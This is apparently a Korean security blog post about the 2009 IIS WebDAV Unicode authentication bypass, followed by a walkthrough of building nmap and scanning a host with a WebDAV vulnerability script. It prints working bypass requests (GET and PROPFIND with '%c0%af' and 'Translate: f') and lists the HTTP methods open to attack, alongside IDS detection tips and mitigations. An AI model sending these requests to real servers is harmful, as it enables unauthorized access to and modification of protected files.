작성자: 미남닷컴
편집자:
얼마 전 마이크로소프트 인터넷정보서비스(IIS) WebDAV 취약점이 나왔습니다.
http://seclists.org/fulldisclosure/2009/May/att-0134/IIS_Advisory_pdf
http://milw0rm.org/exploits/8704
이 문서를 보면 취약점에 대해 나왔습니다.
Microsoft의 Web Server는 이 취약점을 가집니다.
IIS 5.0 , 5.1, 6.0이 이 취약점을 가집니다.
유니코드로 '/' 이것은 (%c0%af) 입니다.
이 문자를 사용하여 WebDAV를 사용하는 IIS WebServer의 암호화된 디렉터리를 우회하여 접근 할 수 있습니다.
예로
GET / %c0%af/protected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername
GET /prot%c0%afected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername
다음과 같은 HTTP 헤더가 있을경우 우선
"Translate: f" 이 키워드가 헤더에 존재할 경우 WebDAV가 받아서 처리하게 됩니다.
유니코드는 WebDAV 요청에서 삭제 됩니다.
문제는 보안체크 이후에 유니코드가 삭제되면서 디렉터리에 접근하게 되는것입니다.
WebDAV에서 사용되는 요청함수를 사용한 예에서도 마찬가지 입니다.
PROPFIND /protec%c0%afted/ HTTP/1.1
Host: servername
User-Agent: neo/0.12.2
Connection: TE
TE: trailers
Depth: 1
Content-Length: 288
Content-Type: application/xml
<?xml version="1.0" encoding="utf-8"?>
<propfind xmlns="DAV:"><prop>
<getcontentlength xmlns="DAV:"/>
<getlastmodified xmlns="DAV:"/>
<executable xmlns="http://apache.org/dav/props/"/>
<resourcetype xmlns="DAV:"/>
<checked-in xmlns="DAV:"/>
<checked-out xmlns="DAV:"/>
</prop></propfind>
IIS는 패스워드를 묻지않고 요청을 처리하게 됩니다.
그래서 결과적으로 이 취약점을 이용하면 해당 디렉터리에 파일을 만들 수 있고 접근하고 고칠 수 있게됩니다.
공격유형은 Translate: f 를 이용한
OPTIONS GET HEAD POST PUT DELETE TRACE CONNECT
함수들이겠지요..또한
WebDAV 함수인
PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK
이것들도 공격 유형이 되겠습니다.IDS입장에서 보았을 때
단지 %c0%af만을 탐지해서는 안됩니다.
일반 ASCII로 표현할 수 없는 범위의 모든 문자를 검사해야하고요
각 옵션별로 Translate: f 를 사용하는지 봐야하겠습니다.
물론 보호된 디렉터리를 접근하는 행위를 탐지해야겠지요.
해킹 동영상은 http://vimeo.com/4750408
이곳에서 볼 수 있습니다.
해결책은 취약점이 적용되는 IIS 버전에서는 WebDAV를 사용하지 않는 것 이겠지요.
요청을 proxy에서 한번걸러 유니코드를 제거하는 방법도 있겠지요.
지금부터는 스캐닝 툴입니다.
http://isc.sans.org/
에 올라온 nmap을 이용한 스캐닝 방법입니다.
우선 nmap을 받아 설치합니다.
윈도우에서는 몇 라이브러리 지원이 안되서 리눅스에서 진행합니다.
centos 5.2에서 진행하죵.
root 계정으로.
$ svn co --username guest --password "" svn://svn.insecure.org/nmap/
$ cd nmap
$ ./configure
$ make
$ make install
해서 nmap을 깐 뒤
http://nmap.org/svn/scripts/http-iis-webdav-vuln.nse 이곳에서 script를 받습니다.
$ cd /usr/local/share/nmap/scripts
$ wget http://nmap.org/svn/scripts/http-iis-webdav-vuln.nse
다음으로 스캔을 시작합니다.
예로
$ nmap -n -PN -p80 --script=http-iis-webdav-vuln 122.122.122.122
에러가 날수도 있는데요.
data폴더에 folders.lst 파일이 없는 경우 입니다.
아까 받은 namp 폴더에서 /nselib/data 안의 파일을 /usr/local/share/nmap/nselib/data로 복사하여 실행합니다.
테스트로 해본 결과 패스워드로 잠긴 폴더가 없네요.
lst파일에 존재하지 않을 수 도 있으니 --script-args=webdavfolder=<path> 를 지정해서 할 수 도 있습니다.
이런식으로 쿼리를 날립니다. WebDAV 함수를 이용해서요.
---------------------------------------------------------------------------------------------------
글에 오류가 있거나 수정이 필요하다고 생각 하시면 메일을 보내주세요.
If there are errors or need to be edited, send e-mail.
미남닷컴 (minamdotcom)
kimms@boanin.com
---------------------------------------------------------------------------------------------------
본 포스팅의 저작권은 보안인닷컴과 작성자에 있으며 상업적 이용을 배제하며 콘텐츠 이용시에는 반드시 출처와 링크를 이용해 주시기 바랍니다. 무단도용은 저작권법에 저촉을 받습니다..
****************************************************************************************************